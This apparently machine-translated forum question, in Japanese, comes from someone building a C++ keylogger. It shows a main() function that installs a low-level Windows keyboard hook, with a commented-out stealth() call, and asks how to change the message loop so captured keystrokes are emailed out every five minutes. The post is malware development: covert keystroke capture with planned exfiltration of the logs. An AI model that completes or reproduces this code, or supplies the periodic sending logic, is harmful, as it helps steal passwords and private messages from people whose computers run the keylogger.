キーストロークをログに記録するキーロガーを作成しています (duh ..)。基本的なキーロガーを C++ で実装したので、アプリケーションに新しい機能を追加したいと思いました。ログをメールで送信したいのです。これまでのところ、私のニーズにぴったり合うこのオープンソースの電子メール クライアントを見つけました。私が抱えている唯一の問題は、アプリケーションが x 分間隔でログを送信するようにすることです。
int main(int argc, char *argv[])
{
//stealth();
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, MyLowLevelKeyBoardProc, NULL, 0);
if(hHook == NULL)
{
cout << "Hook failed" << endl;
}
MSG message;
while(GetMessage(&message, NULL, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}
return 0;
}
どういうわけか、ある時点で関数send(); を使用するある種のカウンターを実装する必要があります。. 関数send();を実行するように MSG ループを変更する方法は、誰にでもわかります。5分ごと?